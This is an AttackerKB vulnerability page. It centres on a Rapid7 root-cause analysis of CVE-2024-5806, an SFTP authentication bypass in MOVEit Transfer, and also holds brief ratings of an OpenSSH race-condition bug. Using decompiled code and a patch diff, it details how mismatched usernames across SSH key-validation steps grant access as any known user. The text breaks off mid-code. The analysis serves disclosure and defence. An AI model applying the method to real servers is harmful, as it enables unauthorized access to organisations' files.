Activity Feed

4
Ratings
Technical Analysis

TL;DR: Neat! Doesn’t sound like something that’s going to be easily exploited or automated in pretty much any scenario, so I have little initial concern about widespread exploitation, or even exploitation at all. I’d expect a long tail of follow-on patches as various distros/products patch it out. Patch, sure, but no need for panic as far as we can tell.

As usual, happy to be proven wrong, but from the (very good!) Qualys technical write-up, this is a memory corruption bug where an adversary would have to win a race condition to exploit it successfully. The Qualys write-up even explicitly notes that “In our experiments, it takes ~10,000 tries on average to win this race condition; i.e., with 10 connections (MaxStartups) accepted per 120 seconds (LoginGraceTime), it takes ~1-2 days on average to obtain a remote root shell.”

3
Ratings
  • Attacker Value
    Very High
  • Exploitability
    High
Technical Analysis

Based on our AttackerKB Rapid7 Analysis, I have rated the exploitability as high, as an exploit can easily be implemented by modifying an existing SFTP library to trigger the auth bypass. However, when running the exploit, the attacker must first know the username of a valid user account on the target server. I have rated the attacker value as very high, as this is an auth bypass in an SFTP service of an enterprise file transfer solution.

Technical Analysis

Overview

On June 25, 2024 Progress Software published an advisory for CVE-2024-5806, an authentication bypass vulnerability affecting the SFTP module of MOVEit Transfer. Initially given a “high” severity rating, the vendor has since updated the severity rating to critical, with a CVSS base score of 9.1. The following version of MOVEit Transfer are affected:

  • MOVEit Transfer 2023.0.x (fixed in 2023.0.11)
  • MOVEit Transfer 2023.1.x (fixed in 2023.1.6)
  • MOVEit Transfer 2024.0.x (fixed in 2024.0.2)

Our analysis has shown that a remote unauthenticated attacker can leverage CVE-2024-5806 to successfully authenticate to the SFTP service as any user, so long as the following conditions are met (based on a vulnerable version 2023.0.1):

  • The attacker must know in advance the username of a valid MOVEit Transfer user account on the target server.
  • If an attacker tries to guess a valid username and fails too many times, the attacker’s IP address will be locked out. The default “Lockout Policy” is to lock out an IP address after five tries within six minutes. By default, locked-out IP addresses must be manually removed from the lockout list by an administrator.
  • The “Remote Access Rules”, which govern the remote IP addresses that can access this user account, must allow for remote access from the IP address the attacker uses. By default, all IP addresses are allowed for regular users. For Administrator and FileAdmin users, only internal network IP addresses are allowed (the default IP address range is 10.*.*.*). The sysadmin user is not allowed to authenticate via a remote IP by default.

An attacker who successfully exploits CVE-2024-5806 can access any file on the SFTP server that the user they are authenticating as has permission to access.

CVE-2024-5806 is reportedly being exploited in the wild. As of June 21, 2024, Shodan reported 1,085 instances of the MOVEit Transfer SFTP server exposed to the public internet, though exposure counts often vary based on the query used.

A technical analysis of CVE-2024-5806 was published by watchTower on June 25, 2024. This analysis details an exploitation strategy that relies on leveraging a zero-day vulnerability in the third-party library “IPWorks SSH” (From vendor “/n software, Inc.”) to successfully exploit CVE-2024-5806. Additionally, their exploitation strategy relies on planting an attacker-controlled key on the target server prior to exploiting CVE-2024-5806, by leveraging the MOVEit Transfer web interface to inject untrusted content into a log file. Our analysis demonstrates successful exploitation of CVE-2024-5806 without leveraging either the third party zero-day vulnerability in “IPWorks SSH”, or the need to leverage the MOVEit Transfer web interface to inject an attacker-controlled key into a log file.

Analysis

We tested a vulnerable version of MOVEit Transfer version 2023.1.3, and a patched version 2024.0.2. As we knew the vulnerability was in the SFTP module, we began by decompiling the SftpServer.exe binary from both versions, and diffing the results. SFTP is a secure file transfer protocol, built as an extension to the SSH protocol, so we expect authentication to follow the SSH authentication norms.

While there are several changes in this binary, we know this is an authentication bypass vulnerability, so the changes in the MOVEit.DMZ.SftpServer.Authentication.SftpPublicKeyAuthenticator class are of interest. The patch diff for this class is shown below:

@@ -57,11 +57,15 @@ namespace MOVEit.DMZ.SftpServer.Authentication
       if (string.IsNullOrEmpty(this._publicKeyFingerprint) && !this._keyAlreadyAuthenticated)
       {
         this._logger.Error("Attempted to authenticate empty public key fingerprint");
+        this.StatusCode = 2414;
+        this.StatusDescription = "No public key provided";
         return AuthenticationResult.Denied;
       }
       if (string.IsNullOrEmpty(user.ID))
       {
         this._logger.Debug("No user ID provided for public key authentication");
+        this.StatusCode = 2050;
+        this.StatusDescription = this._i18N.GetMsg(60001);
         return AuthenticationResult.Denied;
       }
       if (this._signatureIsValid.HasValue && !this._signatureIsValid.Value)

What appears to be a small and somewhat innocuous change reveals a complex authentication bypass vulnerability!

From the above changes, it appears that if either an empty public key fingerprint or an empty user ID is supplied to the method SftpPublicKeyAuthenticator.Authenticate, a result of AuthenticationResult.Denied will be returned. This seems reasonable, but in the vulnerable version, theStatusCode and StatusDescription member variables are not set.

We will investigate whether failing to set these status results can impact the authentication logic during public key authentication.

The method UserAuthRequestHandler.AuthenticateByPublicKey is called by HandleRequest shown below at [1], for a UserPublicKeyValidationRequest request. The result of AuthenticateByPublicKey will be passed to CreatePublicKeyAuthResult.

namespace MOVEit.DMZ.SftpServer.Requests.Handlers
{
  public class UserAuthRequestHandler : ISftpRequestHandler<UserAuthRequest, UserAuthResult>
  {

    // ..snip...

    public UserAuthResult HandleRequest(UserPublicKeyValidationRequest request)
    {
      this._logger.Debug("Received public key validation request for user " + request.LoginName);
      UserAuthRequestHandler.AuthenticationContext authenticationContext = this.GetAuthenticationContext((UserAuthRequest) request);
      string publicKeyFingerprint = authenticationContext.IsFromGateway ? authenticationContext.PublicKeyFingerprintFromGateway : request.PublicKey;
      return this.CreatePublicKeyAuthResult(this.AuthenticateByPublicKey(authenticationContext, publicKeyFingerprint, true, new bool?()), authenticationContext, publicKeyFingerprint); // <--- [1]
    }

Shown below, we can see AuthenticateByPublicKey will create a new instance of SftpPublicKeyAuthenticator, at [2], before calling MOVEit.DMZ.ClassLib.SILCurrentUser.SignonWithAuthenticator, at [3], to perform the public key authentication.

// MOVEit.DMZ.SftpServer.Requests.Handlers

    private AuthenticationResult AuthenticateByPublicKey(
      UserAuthRequestHandler.AuthenticationContext context,
      string publicKeyFingerprint,
      bool validationOnly,
      bool? signatureIsValid)
    {
      string loginName = context.LoginName;
      SILGlobals globals = context.Globals;
      SftpSession session = context.Session;
      bool keyAlreadyAuthenticated = session.HasAuthenticatedByPublicKey && publicKeyFingerprint == session.LastPublicKeyFingerprint;
      RandomIdService randomIdService = new RandomIdService((IDataConnection) globals.objWrap.Connection);
      SftpPublicKeyAuthenticator keyAuthenticator = new SftpPublicKeyAuthenticator(this._logger, (IDataConnection) globals.objWrap.Connection, (IRandomIdService) randomIdService, (ISILGetMsg) globals.objI11N, loginName, globals.OrgID, publicKeyFingerprint, session.HasAuthenticatedByPassword, keyAlreadyAuthenticated, signatureIsValid); // <--- [2]
      ILogger logger = this._logger;
      string message;
      if (!validationOnly)
      {
        if (!keyAlreadyAuthenticated)
          message = "Authenticating user " + loginName + " using client key fingerprint " + publicKeyFingerprint;
        else
          message = "Client key fingerprint " + publicKeyFingerprint + " already authenticated for user " + loginName + "; continuing with user authentication process";
      }
      else
        message = "Validating client key fingerprint " + publicKeyFingerprint + " for user " + loginName;
      logger.LogMessage(LogLev.MoreDebug, message);
      if (globals.objUser.SignonWithAuthenticator((IAuthenticator) keyAuthenticator, false, interfaceCode: 4, forceOrg: context.HasBoundOrg, establishSession: !validationOnly, clientCertAuthenticated: true))  // <--- [3]
      {
        if (validationOnly)
        {
          this._logger.LogMessage(LogLev.MoreDebug, "Validation successful");
        }
        else
        {
          this._logger.Info("Authentication successful");
          globals.objUser.ErrorDescription = session.HasAuthenticatedByPassword ? "Signed on with local password and client key" : "Signed on with client key";
          globals.objUser.LogSignon(globals.objUser.Username, loginName);
          globals.objSession.SetValue("MyUsername", (object) globals.objUser.Username);
          globals.objSession.SecureSession(globals.objUser.InstID, globals.objUser.Username);
        }
        return AuthenticationResult.Authenticated;
      }
      if (globals.objUser.ErrorCode == 0)
      {
        this._logger.LogMessage(LogLev.MoreDebug, validationOnly ? "Client key validation successful but password is also required" : "Client key authentication successful but password is also required");
        return AuthenticationResult.Indeterminate;
      }
      this._logger.Info(validationOnly ? "Client key validation failed" : "Client key authentication failed");
      return AuthenticationResult.Denied;
    }

The method SignonWithAuthenticator, shown below, will check if the username supplied by the SFTP authentication request is allowed to access the server, via a call to AuthorizeUserClient at [4]. This helper method will check if the requesting IP address is locked out, due to previous failed login attempts, or if the requested username is expired or inactive.

    public bool SignonWithAuthenticator(
      IAuthenticator authenticator,
      bool audit,
      string myOrgID = "",
      string inputLanguageCode = "",
      int interfaceCode = 0,
      int altInterfaceCode = -1,
      bool forceOrg = false,
      bool bCheckMFA = false,
      bool bPromptMFA = false,
      bool establishSession = true,
      bool skipFillInfo = false,
      bool clientCertAuthenticated = false)
    {
      bool flag1 = false;
      string MyLoginName = Conversions.ToString(Interaction.IIf(string.IsNullOrEmpty(authenticator.LoginName), (object) string.Empty, (object) authenticator.LoginName));
      myOrgID = authenticator.OrgId.HasValue ? authenticator.OrgId.Value.ToString() : myOrgID;
      string empty = string.Empty;
      this.ErrorCode = 0;
      this.bDidFillInfo = false;
      this.FindAndPopulateUserOrg(ref MyLoginName, myOrgID, ref empty, forceOrg);
      bool flag2 = !string.IsNullOrEmpty(this.Username);
      bool flag3;
      if (this.AuthorizeUserClient(MyLoginName)) // <--- [4]
      {
        ICollection<ExternalAuthenticator> externalAuthenticators = (ICollection<ExternalAuthenticator>) null;
        if (this.MayAuthenticateExternally())
          externalAuthenticators = (ICollection<ExternalAuthenticator>) this.GetExternalAuthenticatorList(MyLoginName, string.Empty, interfaceCode);
        bool flag4 = false;
        try
        {
          IAuthenticator[] AuthenticatorList = new IAuthenticator[1]
          {
            authenticator
          };
          int InterfaceCode = interfaceCode;
          int num = this.Org.FailOnFirstAuthFailure != 0 ? 1 : 0;
          ref ICollection<ExternalAuthenticator> local1 = ref externalAuthenticators;
          IAuthenticator authenticator1 = (IAuthenticator) null;
          ref IAuthenticator local2 = ref authenticator1;
          flag4 = this.ExecuteAuthenticators((IList<IAuthenticator>) AuthenticatorList, InterfaceCode, num != 0, ref local1, ref local2); // <--- [5]
        }
        catch (Exception ex)
        {
          ProjectData.SetProjectError(ex);
          this.siGlobs.objDebug.LogException(20, "SILCurrentUser.SignonWithAuthenticator", ex);
          this.ErrorCode = 100;
          ProjectData.ClearProjectError();
        }
        if (flag4)
        {
          if (flag2 || this.AllowedAtHost(MyLoginName))
          {
            if (this.AuthorizeUserInterface(interfaceCode, altInterfaceCode, clientCertAuthenticated) && this.CheckMultiSignon())
            {
              if (!bCheckMFA || this.MFAValidateCodeIfNec())
              {
                if (establishSession)
                  this.EstablishAuthenticatedSession(authenticator, empty, inputLanguageCode, interfaceCode, skipFillInfo);
                flag1 = true;
                this.RecordSuccessfulSignon(this.Username);
              }
              else
              {
                this.ErrorCode = 2028;
                this.ErrorDescription = this.siGlobs.objI11N.GetMsg(30509);
                if (bPromptMFA)
                {
                  flag3 = false;
                  goto label_26;
                }
              }
            }
          }
          else
          {
            this.siGlobs.objDebug.Log(30, string.Format("{0}: AllowedAtHost returned False for user {1}", (object) "SILCurrentUser.SignonWithAuthenticator", (object) MyLoginName));
            this.ErrorCode = 2976;
          }
        }
        else if (this.ErrorCode == 2414)
          audit = false;
        else if (this.ErrorCode == 2415 && (interfaceCode == 0 || interfaceCode == 1) && !this.siGlobs.objUtility.CurrentPageChecksClientCert(this.siGlobs.objSession.GetValue("MyCallingPage")))
        {
          flag3 = false;
          goto label_26;
        }
      }
      if (audit || this.ErrorCode != 0)
        this.LogSignon(this.Username, MyLoginName);
      if (!flag1)
      {
        if (!ListUtility.InList<int>(this.ErrorCode, 2976, 2977, 2975))
          this.UserOverloadCheck(this.Username);
      }
      flag3 = flag1;
label_26:
      return flag3;
    }

The SignonWithAuthenticator method will then call ExecuteAuthenticators, shown at [5] above.

The ExecuteAuthenticators helper method, shown below, will call the Authenticate method, at [6], for every authenticator class provided in the AuthenticatorList parameter. In our case it will call the SftpPublicKeyAuthenticator.Authenticate method.

    private bool ExecuteAuthenticators(
      IList<IAuthenticator> AuthenticatorList,
      int InterfaceCode,
      bool FailOnFirstAuthFailure,
      ref ICollection<ExternalAuthenticator> QueryInfoList = null,
      ref IAuthenticator SuccessAuthenticator = null)
    {
      bool flag1 = !string.IsNullOrEmpty(this.Username);
      bool flag2 = SILCurrentUser.IsInterfaceHttps(InterfaceCode);
      bool flag3;
      if (AuthenticatorList.Count > 0)
      {
        try
        {
          foreach (IAuthenticator authenticator in (IEnumerable<IAuthenticator>) AuthenticatorList)
          {
            string loginName = authenticator.LoginName;
            this.siGlobs.objDebug.Log(60, string.Format("SILUser.ExecuteAuthenticators: Authenticating user '{0}' with authenticator: {1}", (object) loginName, (object) authenticator.ToString()));
            AuthenticationResult authenticationResult = AuthenticationResult.Indeterminate;
            try
            {
              authenticationResult = authenticator.Authenticate((SILUser) this); // <--- [6]
              this.ErrorCode = authenticator.StatusCode;
              this.ErrorDescription = authenticator.StatusDescription;
            }
            catch (Exception ex)
            {
              ProjectData.SetProjectError(ex);
              Exception exception = ex;
              this.siGlobs.objDebug.LogException(20, string.Format("{0}.{1}", (object) "SILUser", (object) nameof (ExecuteAuthenticators)), exception);
              this.ErrorCode = 100;
              ProjectData.ClearProjectError();
            }
            switch (authenticationResult)
            {
              case AuthenticationResult.Authenticated:
                bool flag4 = authenticator.ClientCertValidated;
                this.UsingExternalAuthSource = !authenticator.IsInternal;
                this.siGlobs.objDebug.Log(60, string.Format("SILUser.ExecuteAuthenticators: User '{0}' authenticated with authenticator: {1}", (object) loginName, (object) authenticator.ToString()));
                if (authenticator.HasUserInfo)
                {
                  if (flag1)
                  {
                    if (authenticator.AutoSyncOnSignon)
                    {
                      AuthenticatedUserInfo userInfo = authenticator.UserInfo;
                      this.SyncUserAccount(ref userInfo);
                    }
                  }
                  else if (authenticator.AutoCreateOnSignon)
                  {
                    AuthenticatedUserInfo userInfo = authenticator.UserInfo;
                    if (!this.CreateExternalUserAccount(ref userInfo))
                    {
                      this.siGlobs.objDebug.Log(20, string.Format("SILUser.ExecuteAuthenticators: User '{0}' authenticated, but there was an error creating a new account using authenticator: {1}", (object) loginName, (object) authenticator.ToString()));
                      this.ErrorCode = 2025;
                      this.ErrorDescription = "Unknown username.";
                      continue;
                    }
                  }
                  else
                  {
                    this.siGlobs.objDebug.Log(50, string.Format("SILUser.ExecuteAuthenticators: User '{0}' authenticated, but account does not exist and authenticator ({1}) is unable or not allowed to create it", (object) loginName, (object) authenticator.ToString()));
                    this.ErrorCode = 2025;
                    this.ErrorDescription = "Unknown username.";
                    continue;
                  }
                }
                else if (QueryInfoList != null && QueryInfoList.Count > 0)
                {
                  bool flag5 = false;
                  try
                  {
                    foreach (ExternalAuthenticator externalAuthenticator in (IEnumerable<ExternalAuthenticator>) QueryInfoList)
                    {
                      this.siGlobs.objDebug.Log(60, string.Format("SILUser.ExecuteAuthenticators: Querying info for user '{0}' with authenticator: {1}", (object) loginName, (object) externalAuthenticator.ToString()));
                      if (externalAuthenticator.QueryUserInfo() && externalAuthenticator.HasUserInfo)
                      {
                        if (flag1)
                        {
                          if (authenticator.AutoSyncOnSignon)
                          {
                            AuthenticatedUserInfo userInfo = externalAuthenticator.UserInfo;
                            this.SyncUserAccount(ref userInfo);
                          }
                        }
                        else if (externalAuthenticator.AutoCreateOnSignon)
                        {
                          AuthenticatedUserInfo userInfo = externalAuthenticator.UserInfo;
                          if (!this.CreateExternalUserAccount(ref userInfo))
                          {
                            this.siGlobs.objDebug.Log(20, string.Format("SILUser.ExecuteAuthenticators: User '{0}' authenticated, but there was an error creating a new account using authenticator: {1}", (object) loginName, (object) externalAuthenticator.ToString()));
                            this.ErrorCode = 2025;
                            this.ErrorDescription = "Unknown username.";
                            continue;
                          }
                        }
                        else
                        {
                          this.siGlobs.objDebug.Log(50, string.Format("SILUser.ExecuteAuthenticators: User '{0}' authenticated, but account does not exist and authenticator ({1}) is unable or not allowed to create it", (object) loginName, (object) externalAuthenticator.ToString()));
                          this.ErrorCode = 2025;
                          this.ErrorDescription = "Unknown username.";
                          continue;
                        }
                        flag4 = flag4 || externalAuthenticator.ClientCertValidated;
                        flag5 = true;
                      }
                    }
                  }
                  finally
                  {
                    IEnumerator<ExternalAuthenticator> enumerator;
                    enumerator?.Dispose();
                  }
                  if (!flag5)
                  {
                    flag3 = false;
                    goto label_45;
                  }
                }
                if (!flag4)
                {
                  SILGlobals siGlobs = this.siGlobs;
                  ClientCertAuthenticator certAuthenticator = new ClientCertAuthenticator(ref siGlobs, this.Username, loginName, ref this.ClientCertWrapper, flag2 & this.HTTPCertRequired > 0, this.HTTPCertPlusPW > 0);
                  if (certAuthenticator.Authenticate() != AuthenticationResult.Authenticated && this.HTTPCertRequired > 0)
                  {
                    this.siGlobs.objDebug.Log(30, string.Format("SILUser.ExecuteAuthenticators: User '{0}' failed client certificate authentication", (object) loginName));
                    this.ErrorCode = certAuthenticator.StatusCode;
                    this.ErrorDescription = certAuthenticator.StatusDescription;
                    flag3 = false;
                    goto label_45;
                  }
                }
                SuccessAuthenticator = authenticator;
                flag3 = true;
                goto label_45;
              case AuthenticationResult.Denied:
                if (FailOnFirstAuthFailure)
                {
                  this.siGlobs.objDebug.Log(30, string.Format("{0}.{1}: User '{2}' was denied authentication with authenticator: {3}; ceasing authentication chain", (object) "SILUser", (object) nameof (ExecuteAuthenticators), (object) loginName, (object) authenticator));
                  flag3 = false;
                  goto label_45;
                }
                else
                  break;
            }
            this.siGlobs.objDebug.Log(30, string.Format("{0}.{1}: User '{2}' unable to authenticate with authenticator: {3}; continuing authentication chain", (object) "SILUser", (object) nameof (ExecuteAuthenticators), (object) loginName, (object) authenticator));
          }
        }
        finally
        {
          IEnumerator<IAuthenticator> enumerator;
          enumerator?.Dispose();
        }
      }
      else
      {
        this.ErrorCode = 2025;
        this.ErrorDescription = "No authenticators found.";
      }
      flag3 = false;
label_45:
      return flag3;
    }

We can now begin to understand the impact SftpPublicKeyAuthenticator.Authenticate has when it fails to set the StatusCode and StatusDescription upon a failed public key authentication request.

As shown below at [7], after ExecuteAuthenticators calls SftpPublicKeyAuthenticator.Authenticate and public key authentication fails (due to either an empty public key fingerprint or an empty user ID), the authenticationResult will be set to AuthenticationResult.Denied. However, the StatusCode was never set to an error code (i.e., a non-zero value), and will remain its default initialized value of 0. This in turn will set SILCurrentUser.ErrorCode to 0, before returning false to the caller SignonWithAuthenticator, indicating a failed authentication.

    private bool ExecuteAuthenticators(
      IList<IAuthenticator> AuthenticatorList,
      int InterfaceCode,
      bool FailOnFirstAuthFailure,
      ref ICollection<ExternalAuthenticator> QueryInfoList = null,
      ref IAuthenticator SuccessAuthenticator = null)
    {
        // ..snip...
            try
            {
              authenticationResult = authenticator.Authenticate((SILUser) this);
              this.ErrorCode = authenticator.StatusCode; // <--- [7]  ErrorCode becomes 0 even though Authenticate returns AuthenticationResult.Denied
              this.ErrorDescription = authenticator.StatusDescription;
            }

SignonWithAuthenticator will in turn return false to its caller UserAuthRequestHandler.AuthenticateByPublicKey, as shown below at [8].

// AuthenticateByPublicKey

      if (globals.objUser.SignonWithAuthenticator((IAuthenticator) keyAuthenticator, false, interfaceCode: 4, forceOrg: context.HasBoundOrg, establishSession: !validationOnly, clientCertAuthenticated: true))  // <--- [8] SignonWithAuthenticator will return false
      {
        // ...snip...
        return AuthenticationResult.Authenticated;
      }
      if (globals.objUser.ErrorCode == 0) // <--- [9] but ErrorCode will be 0
      {
        this._logger.LogMessage(LogLev.MoreDebug, validationOnly ? "Client key validation successful but password is also required" : "Client key authentication successful but password is also required");
        return AuthenticationResult.Indeterminate; // [10] <--- so client key auth succeeds!
      }
      this._logger.Info(validationOnly ? "Client key validation failed" : "Client key authentication failed");
      return AuthenticationResult.Denied;
    }

We can see above that in AuthenticateByPublicKey, if SignonWithAuthenticator returns false, and the SILCurrentUser.ErrorCode is 0 (shown above at [9]), then an AuthenticationResult of Indeterminate is returned at [10]. This indicates that validation of the client-supplied public key was successful!

The result of AuthenticateByPublicKey will be passed to the method CreatePublicKeyAuthResult, shown below.

    private UserAuthResult CreatePublicKeyAuthResult(
      AuthenticationResult authResult,
      UserAuthRequestHandler.AuthenticationContext authContext,
      string publicKeyFingerprint)
    {
      UserAuthResult publicKeyAuthResult = new UserAuthResult();
      switch (authResult)
      {
        case AuthenticationResult.Authenticated:
          publicKeyAuthResult.HomeFolderPath = UserAuthRequestHandler.GetUserDefaultFolderPath(authContext.Globals, authContext.Session);
          publicKeyAuthResult.AuthResult = AuthResult.Success;
          authContext.Session.HasAuthenticatedByPublicKey = true;
          authContext.Session.LastPublicKeyFingerprint = publicKeyFingerprint;
          break;
        case AuthenticationResult.Indeterminate: // <--- [11]
          publicKeyAuthResult.AuthResult = AuthResult.PartialSuccess;
          publicKeyAuthResult.AvailableAuthMethods = (IEnumerable<string>) new string[1]
          {
            "password"
          };
          authContext.Session.HasAuthenticatedByPublicKey = true; // <--- [12]
          authContext.Session.LastPublicKeyFingerprint = publicKeyFingerprint;
          break;

We can see above that an authResult of AuthenticationResult.Indeterminate (shown above at [11]) will set the session variable HasAuthenticatedByPublicKey to true (shown above at [12]). This is crucial, as we will see later on.

While we have passed the key validation of a client-supplied public key, we have not actually authenticated the SSH session with a valid MOVEit Transfer user account.

To successfully exploit this vulnerability in practice, an attacker must force SftpPublicKeyAuthenticator.Authenticate to fail, due to either an empty public key fingerprint (a hash computed by the server, of the public key provided by the client) or an empty user ID. We discovered supplying a non-existent username was the key to exploitation, as this forces the user ID to be an empty string.

It may seem counterintuitive to supply a non-existent username to force the failure, as we will need to supply a valid username to authenticate as, during the authentication bypass. But this is exactly what we need to do. We must investigate the SSH protocol internals to understand how we could do both!

When performing SSH public key authentication, the client will first transmit the client’s public key to the server. In doing so, a username is also supplied to the server. The server will verify this user can authenticate with the supplied public key. If successful, the server will respond to the client with a USERAUTH_PK_OK (message type 60) message. This indicates the server considers this public key for the given user to be acceptable. The client must then sign a new request to verify the client has the corresponding private key for the public key they previously provided. The signed data will include a username. This signed data is sent to the server, which will verify the signature using the public key the server previously received. If successful, the server will return a USERAUTH_SUCCESS (message type 52) message, and public key authentication will be completed successfully.

We can see from this description that there are two separate opportunities to supply a username to the server: the first when providing the public key, and the second when performing the signature.

Therefore, during the first client-side public key authentication request to verify the public key, an attacker can supply a non-existent username, such as an empty string value. This will trigger the vulnerability and force client public key authentication to succeed. Then during the signature verification, which occurs afterwards, the client can pass a different username. The server will not verify that the usernames from both requests match.

We can see below how this discrepancy in usernames occurs in the SshUserAuthRequestEventHandler.CreateRequest method below:

// MOVEit.DMZ.SftpServer.IpWorksSsh.EventHandlers.SshUserAuthRequestEventHandler

    protected override UserAuthRequest CreateRequest(SftpserverSSHUserAuthRequestEventArgs eventArgs)
    {
      switch (eventArgs.AuthMethod)
      {
        case "none":
          UserNoneAuthRequest request1 = new UserNoneAuthRequest();
          request1.LoginName = eventArgs.User;
          request1.ConnectionId = eventArgs.ConnectionId;
          request1.LocalHost = this._connection.LocalAddress;
          request1.RemoteHost = this._connection.RemoteHost;
          return (UserAuthRequest) request1;
        case "publickey":
          string keyFingerprint = this._keyService.GetKeyFingerprint(eventArgs.AuthParam, FingerprintType.Md5);
          UserPublicKeyValidationRequest request2 = new UserPublicKeyValidationRequest();
          request2.LoginName = eventArgs.User; // <--- [13] Attacker can set an non-existent username here.
          request2.ConnectionId = eventArgs.ConnectionId;
          request2.LocalHost = this._connection.LocalAddress;
          request2.RemoteHost = this._connection.RemoteHost;
          request2.PublicKey = keyFingerprint;
          return (UserAuthRequest) request2;
        case "sigstatus":
          bool flag = eventArgs.AuthParam.Equals("1");
          this._logger.Debug(string.Format("Server reported client key signature validation success={0}", (object) flag));
          UserPublicKeyAuthRequest request3 = new UserPublicKeyAuthRequest();
          request3.LoginName = eventArgs.User; // <--- [14] Later, the attacker can specify a valid username here to authenticate as!
          request3.ConnectionId = eventArgs.ConnectionId;
          request3.LocalHost = this._connection.LocalAddress;
          request3.RemoteHost = this._connection.RemoteHost;
          request3.SignatureIsValid = flag;
          request3.UsePrevious = true;
          return (UserAuthRequest) request3;

The SshUserAuthRequestEventHandler.CreateRequest method will reset the member variable LoginName for both the “publickey” auth request (shown at [13]), and the “sigstatus” auth request (shown at [14]). These events originate from the library nsoftware.IPWorksSSH, which the SFTP server is using to process the underlying SSH transport layer with the client. The event names “publickey” and “sigstatus” originate from this library, and these events are triggered when a client transmits either its public key or the signed response to a USERAUTH_PK_OK message.

We can also note that the “publickey” event will generate a UserPublicKeyValidationRequest request, whilst a “sigstatus” event will generate a UserPublicKeyAuthRequest request.

Looking at MOVEit.DMZ.SftpServer.Requests.Handlers.HandleRequest below, which dispatches the incoming events from the SSH transport layer, we can see how these two requests differ.

    public UserAuthResult HandleRequest(UserPublicKeyValidationRequest request)
    {
      this._logger.Debug("Received public key validation request for user " + request.LoginName);
      UserAuthRequestHandler.AuthenticationContext authenticationContext = this.GetAuthenticationContext((UserAuthRequest) request);
      string publicKeyFingerprint = authenticationContext.IsFromGateway ? authenticationContext.PublicKeyFingerprintFromGateway : request.PublicKey;
      return this.CreatePublicKeyAuthResult(this.AuthenticateByPublicKey(authenticationContext, publicKeyFingerprint, true, new bool?()), authenticationContext, publicKeyFingerprint); // <--- [15] validationOnly is true
    }

    public UserAuthResult HandleRequest(UserPublicKeyAuthRequest request)
    {
      this._logger.Debug("Received public key authentication request for user " + request.LoginName);
      UserAuthRequestHandler.AuthenticationContext authenticationContext = this.GetAuthenticationContext((UserAuthRequest) request);
      string publicKeyFingerprint = request.UsePrevious ? authenticationContext.Session.LastPublicKeyFingerprint : (authenticationContext.IsFromGateway ? authenticationContext.PublicKeyFingerprintFromGateway : request.PublicKey);
      return this.CreatePublicKeyAuthResult(this.AuthenticateByPublicKey(authenticationContext, publicKeyFingerprint, false, new bool?(request.SignatureIsValid)), authenticationContext, publicKeyFingerprint);// <--- [16] validationOnly is false
    }

They both call AuthenticateByPublicKey, but the validation request (for a “publickey” event) sets the validationOnly parameter in AuthenticateByPublicKey to true (shown at [15] above), while the auth request (for a “sigstatus” event) sets the validationOnly parameter in AuthenticateByPublicKey to false (shown at [16] above).

We know we can leverage the vulnerability to pass the first “publickey” event, and that during that event, the result of AuthenticateByPublicKey will be passed to CreatePublicKeyAuthResult, which in turn will set HasAuthenticatedByPublicKey to true (previously shown at [12]).

The next “sigstatus” event will call AuthenticateByPublicKey again, but now both HasAuthenticatedByPublicKey will be true, and validationOnly will be false.

We can see below in the method SftpPublicKeyAuthenticator.Authenticate, when called a second time during the “sigstatus” event, if a valid username is supplied, and the key was already verified during the “publickey” event (shown at [17] below), then SftpPublicKeyAuthenticator.Authenticate will set a StatusCode of 0 (shown at [18] below) before returning AuthenticationResult.Indeterminate (shown at [19] below).

We know the check below at [17] will pass as HasAuthenticatedByPublicKey (which is used to set _keyAlreadyAuthenticated) will be true due to the “publickey” event.

We can also see the result of calling PublicKeyRegisteredToUser (below at [17] ) is used in an logical OR expression with _keyAlreadyAuthenticated. Due to the logical OR, the key the attacker uses during the attack does not need to be registered to the user they are attempting to authenticate as. Hence the attacker can supply any valid, yet untrusted key during authentication, so long as the attacker also has the accompanying private key. This means an attacker can generate a new and arbitrary, valid RSA key pair prior to performing the attack.

    public AuthenticationResult Authenticate(SILUser user)
    {
      if (string.IsNullOrEmpty(this._publicKeyFingerprint) && !this._keyAlreadyAuthenticated)
      {
        this._logger.Error("Attempted to authenticate empty public key fingerprint");
        return AuthenticationResult.Denied;
      }
      if (string.IsNullOrEmpty(user.ID))
      {
        this._logger.Debug("No user ID provided for public key authentication");
        return AuthenticationResult.Denied;
      }
      if (this._signatureIsValid.HasValue && !this._signatureIsValid.Value)
      {
        this._logger.Error("Signature validation failed for provided public key");
        this.StatusCode = 2414;
        this.StatusDescription = "Signature validation failed for provided public key";
        return AuthenticationResult.Denied;
      }
      if (this._keyAlreadyAuthenticated || this.PublicKeyRegisteredToUser(user.ID)) // <--- [17] _keyAlreadyAuthenticated will be true
      {
        this.StatusCode = 0; // <--- [18]
        if (this._hasAuthenticatedByPassword || !SILUtility.IntToBool(user.SSHCertPlusPW))
          return AuthenticationResult.Authenticated;
        this._logger.Debug(this._keyAlreadyAuthenticated ? "Public key already authenticated, but password required with key" : "Matched public key OK, but password required with key");
        return AuthenticationResult.Indeterminate; // <--- [19]
      }

The above will make the call to SignonWithAuthenticator during AuthenticateByPublicKey, return true (shown below at [20]), and now we finally achieve a successful authentication as an actual user on the system.

As validationOnly will be false (shown below at [21]), the session’s MyUsername value will be set to the username we chose in the “sigstatus” event (technically, it will be the internal user ID corresponding to that username), shown below at [22] . Finally a result of AuthenticationResult.Authenticated is returned (shown below at [23]).

// AuthenticateByPublicKey()

      if (globals.objUser.SignonWithAuthenticator((IAuthenticator) keyAuthenticator, false, interfaceCode: 4, forceOrg: context.HasBoundOrg, establishSession: !validationOnly, clientCertAuthenticated: true)) // <--- [20]
      {
        if (validationOnly)
        {
          this._logger.Info("Validation successful");
        }
        else // <--- [21]
        {
          this._logger.Info("Authentication successful");
          globals.objUser.ErrorDescription = session.HasAuthenticatedByPassword ? "Signed on with local password and client key" : "Signed on with client key";
          globals.objUser.LogSignon(globals.objUser.Username, loginName); // <--- [22]
          globals.objSession.SetValue("MyUsername", (object) globals.objUser.Username);
        }
        return AuthenticationResult.Authenticated; // <--- [23]
      }

This AuthenticationResult.Authenticated value will be returned from AuthenticateByPublicKey to CreatePublicKeyAuthResult, which will complete the authentication process by setting publicKeyAuthResult.AuthResult to AuthResult.Success as shown in [24] below.

    private UserAuthResult CreatePublicKeyAuthResult(
      AuthenticationResult authResult,
      UserAuthRequestHandler.AuthenticationContext authContext,
      string publicKeyFingerprint)
    {
      UserAuthResult publicKeyAuthResult = new UserAuthResult();
      switch (authResult)
      {
        case AuthenticationResult.Authenticated:
          publicKeyAuthResult.HomeFolderPath = UserAuthRequestHandler.GetUserDefaultFolderPath(authContext.Globals, authContext.Session);
